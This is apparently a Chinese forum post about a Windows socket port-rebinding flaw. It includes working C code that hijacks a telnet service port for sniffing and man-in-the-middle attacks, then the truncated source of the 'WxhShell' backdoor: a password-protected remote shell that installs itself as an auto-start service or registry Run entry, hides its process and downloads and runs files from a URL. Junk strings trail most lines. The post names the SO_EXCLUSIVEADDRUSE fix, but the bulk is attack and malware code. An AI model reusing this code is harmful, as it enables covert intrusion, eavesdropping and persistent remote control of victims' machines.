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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: bGL}nPo  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XHj%U  
O8b#'f~  
  saddr.sin_family = AF_INET; cW_wIy\]&  
i%.k{MY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bf+C=A)s0  
aJf3rHX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %K')_NS@  
n44 T4q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 EyVu-4L:#  
m BFNg3_  
  这意味着什么?意味着可以进行如下的攻击: kP+,x H)1  
/;+\6(+X  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 fdX|t "oz  
][tR=Y#&y5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hU-FSdR  
!reOYt|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =pi,]m  
Uq_lT,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  iKV|~7nwO  
YVa,?&i=N  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 w(aj'i  
L(K 5f7\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R&;x_4dr^  
GiX3c^V"1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 MGMJeq vr  
 R*2N\2  
  #include JxwKTFU'3O  
  #include !J<Xel {  
  #include 21tv(x  
  #include    J&fIW Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4-SU\_  
  int main() Pg:xC9w4  
  { 6'kQ(r>  
  WORD wVersionRequested; 0$c(<+D  
  DWORD ret; e ar:`11z  
  WSADATA wsaData; U)Hc 7% e  
  BOOL val; X>yDj]*4P  
  SOCKADDR_IN saddr; )Jk$j  
  SOCKADDR_IN scaddr; "5<!   
  int err; ><D2of|  
  SOCKET s; &8l?$7S"_/  
  SOCKET sc; keRLai7h  
  int caddsize; Y)F(-H)  
  HANDLE mt; \ui'~n_t]  
  DWORD tid;   yc?L OW0  
  wVersionRequested = MAKEWORD( 2, 2 ); #J3o~,t<  
  err = WSAStartup( wVersionRequested, &wsaData ); \P+^BG!  
  if ( err != 0 ) { ]  &"`  
  printf("error!WSAStartup failed!\n"); }(!Uq  
  return -1; HQ9tvSc  
  } yOQae m^O  
  saddr.sin_family = AF_INET; gAorb\iJ  
   Z;a)P.l.>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F7O*%y.';  
4]m{^z`1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); dWkQ NFKF  
  saddr.sin_port = htons(23); N8At N\e  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IMbF]6%p(  
  { 5o 5DG  
  printf("error!socket failed!\n"); =cS5f#0  
  return -1; "GZ}+K*GG  
  }  %V ]v,  
  val = TRUE; h M7 SGEV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9#P~cW?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y7:f^4  
  { n.8870.BW  
  printf("error!setsockopt failed!\n"); ejyx[CF  
  return -1; 9q$^x/z!  
  } EGqu-WBS  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z-kv{y*Hu  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 s<#BxN  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [zN*P$U]  
|3E|VGm~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) //|B?4kk  
  { ElpZzGj+  
  ret=GetLastError(); x3FB`3y~s  
  printf("error!bind failed!\n"); r2+ZxMo|  
  return -1; Z T*}KJm  
  } b j@R[!ss  
  listen(s,2); ?+7~ E8  
  while(1) S@3`H8 [  
  { 4(P<'FK $  
  caddsize = sizeof(scaddr); F*#!hWtb  
  //接受连接请求 mMXDzAllB  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KzV|::S^  
  if(sc!=INVALID_SOCKET) C^,b aCX  
  { eq%cRd]u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xS%&l)dT  
  if(mt==NULL) IoJI|lP  
  { O>h h  
  printf("Thread Creat Failed!\n"); 0lniu=xmQ-  
  break; 8g)$%Fy+N  
  } zF^H*H  
  } D=z="p\  
  CloseHandle(mt); ]!sCWR  
  } 6?%$e$s  
  closesocket(s); F%$q]J[  
  WSACleanup(); K<::M3eQ  
  return 0; dF 6od  
  }   *q=\ e9  
  DWORD WINAPI ClientThread(LPVOID lpParam) Mx6 yk,  
  { =|Qxv`S1  
  SOCKET ss = (SOCKET)lpParam; n=JV*h0  
  SOCKET sc; kG5+kwV=:  
  unsigned char buf[4096]; o:ow"cOEf  
  SOCKADDR_IN saddr; tzd !r7  
  long num; Q.eD:@%iE  
  DWORD val; 8(Ptse  ,  
  DWORD ret; >gL&a#<S  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .!L{yU,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    "O9n|B  
  saddr.sin_family = AF_INET; r`sKe &  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PR!0=E*}  
  saddr.sin_port = htons(23); +ug2p;<B  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k=kkF"  
  { =s*c(>  
  printf("error!socket failed!\n"); G7`mK}J7  
  return -1; J5jI/P  
  } 6p&2 A  
  val = 100; (z)#}TC  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V*O[8s%5v  
  { H1q,w|O9j  
  ret = GetLastError(); ;:oJFI#;  
  return -1; "{E%Y*  
  } ~"\v(\Pe  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q'3tDc<  
  { Z]{=Jy !F  
  ret = GetLastError(); mDp8JNJNE  
  return -1; { g[kn^|  
  } ._j?1Fw`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |P& \C8h  
  { G#`  
  printf("error!socket connect failed!\n"); fW=<bf  
  closesocket(sc); >)NS U  
  closesocket(ss); 'L7u`  
  return -1; =2( 52#pT  
  } GY@:[u.&  
  while(1) ;AVIt!(L~V  
  { LU8[$.P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 tMP"9JE,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5c}loOq  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 o-&0_Zq_  
  num = recv(ss,buf,4096,0); YR/I<m`]}  
  if(num>0) QX}JQ<8  
  send(sc,buf,num,0); (U$;0`  
  else if(num==0) 2{BS `f  
  break; )sK53O$  
  num = recv(sc,buf,4096,0); 6hR ` sE  
  if(num>0) <6;@@  
  send(ss,buf,num,0); >0iCQKq  
  else if(num==0) #b)`as?!1  
  break; M~`^deU1  
  } IIGx+>  
  closesocket(ss); \Ezcr=0z{j  
  closesocket(sc); 3rHn?  
  return 0 ; ' e!WZvr  
  } M6A0D+08  
tmBt[  
iyR"O1]  
========================================================== 9dAtQwGR"6  
`S-%}eUv  
下边附上一个代码,,WXhSHELL +!ljq~%  
n,s 7!z/  
========================================================== 4,R"(ej  
b?,%M^9\`  
#include "stdafx.h" "WtYqXyd  
^jRX6  
#include <stdio.h> ` s+kYWg'Z  
#include <string.h> j$ lf>.[I  
#include <windows.h> WPpO(@sn  
#include <winsock2.h> f<rn't{  
#include <winsvc.h> 9Qu(RbDqC  
#include <urlmon.h> =<PEvIn  
':tdb$h  
#pragma comment (lib, "Ws2_32.lib") .w{Y3,dd>  
#pragma comment (lib, "urlmon.lib") X}x\n\Z  
%#&njP  
#define MAX_USER   100 // 最大客户端连接数 t\YM Hq<Y  
#define BUF_SOCK   200 // sock buffer YuIF}mUr"  
#define KEY_BUFF   255 // 输入 buffer >)diXe}j  
P{n*X  
#define REBOOT     0   // 重启  W{Z 7=  
#define SHUTDOWN   1   // 关机 W?kJ+1"(  
m`$Q/SyvG  
#define DEF_PORT   5000 // 监听端口 )/Eu=+d  
:HrFbq  
#define REG_LEN     16   // 注册表键长度 &\cS{35  
#define SVC_LEN     80   // NT服务名长度 /joY? T  
nnT#S  
// 从dll定义API +%klS `_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,g0t&jITo  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Np$&8v+en  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o-l-Z|)7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FZ]+(Q"]:  
H=~7g3  
// wxhshell配置信息 ,=G]tnsv^  
struct WSCFG { dcq18~  
  int ws_port;         // 监听端口 :06.b:_  
  char ws_passstr[REG_LEN]; // 口令 /|H9Gm  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7mXXMm  
  char ws_regname[REG_LEN]; // 注册表键名 zAklS 7L  
  char ws_svcname[REG_LEN]; // 服务名 L{r4hL [  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kc=Z6(=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L$);50E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |`o1B;lc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w8UUeF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t18j2P>`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EVaHb;  
K*,,j\Q.  
}; ),Yk53G6c  
P?|\Ig1Gk  
// default Wxhshell configuration gzat!>*  
struct WSCFG wscfg={DEF_PORT, 3pW4Ul@e  
    "xuhuanlingzhe", H-u SdT  
    1, d2gYB qag  
    "Wxhshell", rMjb,2*rC7  
    "Wxhshell", kF,ME5%  
            "WxhShell Service", /)K;XtcN  
    "Wrsky Windows CmdShell Service", jpZq]E9`P  
    "Please Input Your Password: ", dy5}Jn%L  
  1, kn$_X4^?  
  "http://www.wrsky.com/wxhshell.exe", HRM-r~2:-]  
  "Wxhshell.exe" -gt ?5H h  
    }; oyk&]'>  
.b<W*4{j0H  
// 消息定义模块 :wg=H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; * ]bB7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QZ;DZMP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #l: 1R&F  
char *msg_ws_ext="\n\rExit."; Piwox1T ;  
char *msg_ws_end="\n\rQuit."; uCuB>x&  
char *msg_ws_boot="\n\rReboot..."; M&faa7  
char *msg_ws_poff="\n\rShutdown..."; QT%vrXzz  
char *msg_ws_down="\n\rSave to "; ao.vB']T  
a.?U $F  
char *msg_ws_err="\n\rErr!"; ~Sm6{L  
char *msg_ws_ok="\n\rOK!"; ]' Ho)Q  
mDbTOtD  
char ExeFile[MAX_PATH]; z9OpxW@Ou  
int nUser = 0; >!']w{G  
HANDLE handles[MAX_USER]; z^&$6c_  
int OsIsNt; Tl[*(| /C  
f#GMJ mCQs  
SERVICE_STATUS       serviceStatus; hjFht+j1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @>~\So|  
C^B$_?  
// 函数声明 +0Q +0:  
int Install(void); kb/BE J  
int Uninstall(void); #wRhR>6  
int DownloadFile(char *sURL, SOCKET wsh); _TsN%)m  
int Boot(int flag); 1t?OD_d!8  
void HideProc(void); A9K$:mL<2  
int GetOsVer(void); ]a~sJz!  
int Wxhshell(SOCKET wsl); n@;B_Bt7  
void TalkWithClient(void *cs); zG9D Ph  
int CmdShell(SOCKET sock); =VZ_';b h  
int StartFromService(void); e?+-~]0  
int StartWxhshell(LPSTR lpCmdLine); !P^Mo> "  
@sg.0GR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yOKzw~;0%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zP2X}VLMo  
a L+>XN  
// 数据结构和表定义 5*YvgB;  
SERVICE_TABLE_ENTRY DispatchTable[] = EleJ$ `/  
{ <Y1 Plc  
{wscfg.ws_svcname, NTServiceMain}, GtZ.' ?-  
{NULL, NULL} cYC^;,C &|  
}; } -;)G~h/"  
4Nt4(3Kf  
// 自我安装 es#6/  
int Install(void) 7'i{JPm  
{ z,SI  
  char svExeFile[MAX_PATH]; 5n}<V-yJ*m  
  HKEY key; {y6h(@I8\  
  strcpy(svExeFile,ExeFile); 4\v &8">LL  
AgSAjBP  
// 如果是win9x系统,修改注册表设为自启动 62_k`)k  
if(!OsIsNt) { =*lBJ-L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CyYr5 Dz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $HQ4o\~  
  RegCloseKey(key); Ny/eYF#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v3M$UiN,:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); . 43cI(  
  RegCloseKey(key); G bclu.4  
  return 0; Vym0|cW  
    } w"dKOdY  
  } ~ *"iLf@,  
} =QtFJ9\  
else { `\\s%}vZ*T  
Q{950$ )L  
// 如果是NT以上系统,安装为系统服务 gSw <C+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zixG}'  
if (schSCManager!=0) KT<$E!@  
{ h{ix$Xn~  
  SC_HANDLE schService = CreateService @d 7V@F0d  
  ( c$&({Z{1  
  schSCManager, Fih pp<  
  wscfg.ws_svcname, Ow4(1eE_  
  wscfg.ws_svcdisp, Gvh"3|u ?z  
  SERVICE_ALL_ACCESS, /PTRe5-7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T9Juq6|  
  SERVICE_AUTO_START, $S?gQN.e  
  SERVICE_ERROR_NORMAL, L_vl%ii-  
  svExeFile, m=^]93+  
  NULL, $,, PF/N8c  
  NULL, kln)7SzPuk  
  NULL, Bh cp=#  
  NULL, ZnI15bsDx  
  NULL id5`YA$  
  ); P,'%$DLDg  
  if (schService!=0) _\tv ${  
  { (,QWK08  
  CloseServiceHandle(schService); !\BZ_guz  
  CloseServiceHandle(schSCManager); YJ"D"QD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JVy|SA&R  
  strcat(svExeFile,wscfg.ws_svcname); 0<~~0US  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?-mOAHW0q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \ DZ.#=d  
  RegCloseKey(key); MSvZ3[5Io  
  return 0; r=Lgh#9S  
    } U-fxlg|-C  
  } _r\M}lDh*  
  CloseServiceHandle(schSCManager); QNU~G3  
} fpo{`;&F  
}  ]gcOMC  
\2a;z<(  
return 1; 8/dMvAB1So  
} s[0`  
o&%v"#H2  
// 自我卸载 %ZWt 45A  
int Uninstall(void) (M$>*O3SR  
{ HV/:OCK  
  HKEY key; ^OWG9`p+  
h`1<+1J9  
if(!OsIsNt) { Fl=H5HR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UiH7  
  RegDeleteValue(key,wscfg.ws_regname); @g5y_G{SP  
  RegCloseKey(key); ]&Y^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5{V"!M+<  
  RegDeleteValue(key,wscfg.ws_regname); ;j1E6  
  RegCloseKey(key); `<se&IZE  
  return 0; KU` *LB:  
  } T&]-p:mg^  
} ~i%=1&K&`  
} QWfSm^ t  
else { {P~rf&Ee  
d8jH?P-"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -9= DDoO  
if (schSCManager!=0) OriYt  
{ 9c)#j&2?H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;n(f?RO3X  
  if (schService!=0) Fk3(( n=  
  { P%e7c,  
  if(DeleteService(schService)!=0) { = N*Jis  
  CloseServiceHandle(schService); * CR#D}F  
  CloseServiceHandle(schSCManager); N?vb^?  
  return 0; 5<ruN11G  
  } k B]`py!  
  CloseServiceHandle(schService); L7 }nmP>aR  
  } ; o_0~l=-/  
  CloseServiceHandle(schSCManager); Hm'"I!jyO  
} %w65)BFQ  
} L>sLb(2\i  
kpn|C 9r  
return 1; 9Tt%~m^  
} pK3A/ry<  
@y;VV*  
// 从指定url下载文件 .@OQ$ D<  
int DownloadFile(char *sURL, SOCKET wsh) Pa3-0dUr  
{ !9/`PcNIpy  
  HRESULT hr; Q NMZR  
char seps[]= "/"; ]}rNxT4<  
char *token; T@yQOD7  
char *file; BkXv4|UE  
char myURL[MAX_PATH]; iG6]Pr|;e  
char myFILE[MAX_PATH]; {HEWU<5  
R~oJ-} iYX  
strcpy(myURL,sURL); IXa~,a H71  
  token=strtok(myURL,seps); OmWEa  
  while(token!=NULL) f't.?M  
  { K)Lo Z^x0)  
    file=token; mv8H:T  
  token=strtok(NULL,seps); Gr2}N"X=  
  } %BkE %ZcZ  
uKk#V6t#  
GetCurrentDirectory(MAX_PATH,myFILE); 'D5J5+.z  
strcat(myFILE, "\\"); :zKW[sF  
strcat(myFILE, file);  1}=D  
  send(wsh,myFILE,strlen(myFILE),0); T"Y#u  
send(wsh,"...",3,0); iLSUz j`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <7J3tn B  
  if(hr==S_OK) 2w7$"N  
return 0; 3O$l;|SX  
else `Uz.9_6  
return 1; ~3:hed7:  
YTefEG]|q  
} #  `E  
f~mwDkf?L  
// 系统电源模块 6P _+:Mf  
int Boot(int flag) F-|DZ?)k5  
{ u9S*2'  
  HANDLE hToken; }=bzUA`C  
  TOKEN_PRIVILEGES tkp; UDi(7c0.  
]w6 F%d  
  if(OsIsNt) { 3?FY?Q[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $mM"C+dD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l.pxDMY  
    tkp.PrivilegeCount = 1; ~wW]ntZm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2Cp4aTGv#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3pWav 1"  
if(flag==REBOOT) { L.@$rFhA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) | 9S8sfw  
  return 0; <h/q^|tZ{  
} [m:cO6DM,  
else { _1gNU]"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WMtFXkf6"  
  return 0; C:Rs~@tl  
} I20~bW  
  } 1M??@@X  
  else { M 8WjqTq  
if(flag==REBOOT) { ZzE(S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O6y:e #0z  
  return 0; j67a?0<C2U  
} [IOI&`?D  
else { y{mt *VA4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e x Z/  
  return 0;  <Y"RsW9  
} F(`|-E"E;  
} np^&cY]  
b_ ZvI\H  
return 1; a.%ps:  
} 6NV592  
s 7 nl  
// win9x进程隐藏模块 G]aey>)  
void HideProc(void) ~Re4zU  
{ Fc`IRPW<  
'Jf LTG.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 85&7WAco"B  
  if ( hKernel != NULL ) ;?HP/dZLz  
  { _?"y1 L.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y60aJ)rAX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j%'2^C8  
    FreeLibrary(hKernel); ^oPFLez56  
  } 9~~NxWY%x  
1<m`38'  
return; L-?ty@-i  
} x*z&#[(0g!  
Jt]RU+TB  
// 获取操作系统版本 Q |o$^D,  
int GetOsVer(void) ^O7sQ7V"f=  
{ j$Ndq(<tG  
  OSVERSIONINFO winfo; Nut&g"u2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >A{Dpsi\  
  GetVersionEx(&winfo); [6l0|Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F;#$Q  
  return 1; Y }VJ4!%U  
  else }'wZ)N@  
  return 0; $BehU  
} c9Et Uv~  
_$$.5?4  
// 客户端句柄模块 }w4OCN\1  
int Wxhshell(SOCKET wsl) )=GPhC/sw  
{ #^VZJ:2=|  
  SOCKET wsh; @* vVc`;  
  struct sockaddr_in client; M2cGr  
  DWORD myID; Ti)Me-g  
{c)\}s(}F  
  while(nUser<MAX_USER) V $I8iVGL  
{ %( 7##f_  
  int nSize=sizeof(client); 9oc_*V0<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); If'2 m_  
  if(wsh==INVALID_SOCKET) return 1; L3\#ufytb  
ZbT$f^o}M]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *yT>  
if(handles[nUser]==0) h'em?fN(  
  closesocket(wsh); ')q4d0B`"  
else -'qVnu  
  nUser++; J(}PvkA  
  } \VhG'd3k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |qe;+)0>K  
_(g0$vRP~  
  return 0; ~-vCY  
} AmIW$(Ce  
E'4Psx9: =  
// 关闭 socket 4#>Z.sf  
void CloseIt(SOCKET wsh) ?u:`?(\  
{ L~/,;PHN  
closesocket(wsh); 2Pm}wD^`  
nUser--; TsT5BC63  
ExitThread(0); 1LS1 ZY  
} f$^wu~  
qZF&^pCF}  
// 客户端请求句柄 b%MZfaU  
void TalkWithClient(void *cs) 6HBDs:   
{ 1A'eH:$  
g(i6Uj~)  
  SOCKET wsh=(SOCKET)cs; g|uyQhsg  
  char pwd[SVC_LEN]; !D['}%  
  char cmd[KEY_BUFF]; 'A5T$JV.r4  
char chr[1]; d`rZgY  
int i,j; MuMq%uDA"  
&G_#=t&  
  while (nUser < MAX_USER) { o#6QwbU25  
|HT7m5tu4  
if(wscfg.ws_passstr) { QB X EM=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m2^vH+wD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cdkEK  
  //ZeroMemory(pwd,KEY_BUFF);  &ox  
      i=0; +pG+ xI  
  while(i<SVC_LEN) { V5$ Gb6?K  
P^"RH&ZQJ  
  // 设置超时 '|=Pw  
  fd_set FdRead; ?WXftzdf6u  
  struct timeval TimeOut; S|| W  
  FD_ZERO(&FdRead); eEBNO*2  
  FD_SET(wsh,&FdRead); OF`J{`{r  
  TimeOut.tv_sec=8; xz0t8`N oN  
  TimeOut.tv_usec=0; c=+%][21  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V~*>/2+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (U# ,;  
PP$2s]{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AP%R*0]  
  pwd=chr[0]; >?K=l]!(*  
  if(chr[0]==0xd || chr[0]==0xa) { })<u ~r  
  pwd=0; Ox#vW6;)  
  break; G7Ck P  
  } U&6A)SW,k  
  i++; (${:5W  
    } ,Tar?&C:  
\&+Y;:6  
  // 如果是非法用户,关闭 socket }*rSg .  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !;8Y?c-D  
} '8zd]U  
7+f6?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [err$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gmH`XKi\  
|Q)mBvvN  
while(1) { *#>(P  
>}SRSqJu  
  ZeroMemory(cmd,KEY_BUFF); A*'V+(  
wPnybb{  
      // 自动支持客户端 telnet标准   'm O2t~n  
  j=0; )( bxpW  
  while(j<KEY_BUFF) { j}RzXJ~t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XnXb&@Y  
  cmd[j]=chr[0]; !Iq{ 5:  
  if(chr[0]==0xa || chr[0]==0xd) { &1GUi{I  
  cmd[j]=0; |(ocDmd  
  break; Z;b+>2oL  
  } & iSD/W  
  j++; Nn#u%xvJt  
    } 9#rt:&xo0  
n )K6i7]xk  
  // 下载文件 \!H{Ks{#R.  
  if(strstr(cmd,"http://")) { B*@6xS[IL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Dg2uE8k  
  if(DownloadFile(cmd,wsh)) 7>-yaL{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %j{.0 H  
  else :'*DMW~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); daX*}Ix  
  } 1r 571B*O  
  else { cwynd=^nC  
%EI<@Ps8c  
    switch(cmd[0]) { l`gTU?<xd  
  ]}LGbv"`A  
  // 帮助 xjq0D[  
  case '?': { VzwPBQ -  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )+Y&4Qu  
    break; hI~SAd ,#A  
  } !k<:k "7  
  // 安装 ]rW8y%yD  
  case 'i': { AS;.sjgk  
    if(Install()) G|9B )`S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +t]Xj1Q  
    else 3s(Ia^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v8@eW.I1  
    break;  @Fx@5e  
    } wUp)JI  
  // 卸载 P*G+eqX  
  case 'r': { z $6JpG  
    if(Uninstall()) C6@t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'IQsve7cI  
    else xb$yu.c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yFM>T\@  
    break; c> G@+  
    } -G b-^G  
  // 显示 wxhshell 所在路径 ?~F. /  
  case 'p': { 9L)L|4A.l  
    char svExeFile[MAX_PATH]; I/p]DT  
    strcpy(svExeFile,"\n\r"); ixw(c&gL  
      strcat(svExeFile,ExeFile); % vS8?nG  
        send(wsh,svExeFile,strlen(svExeFile),0); 8tQ|-l *  
    break; vJC f~'  
    } t ;-L{`mW  
  // 重启 H_B~P%E@]  
  case 'b': { =!<G!^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^M Ey,  
    if(Boot(REBOOT)) n Ga1a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A=`* r*  
    else { nl@E[yA9[  
    closesocket(wsh); V5 MO}  
    ExitThread(0); 6Rz[?-mkLO  
    } GGE[{Gb9  
    break; _#'9kx|)  
    } BGqa-d  
  // 关机 CC8k&u,  
  case 'd': { aRwnRii  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f7+Cz>R  
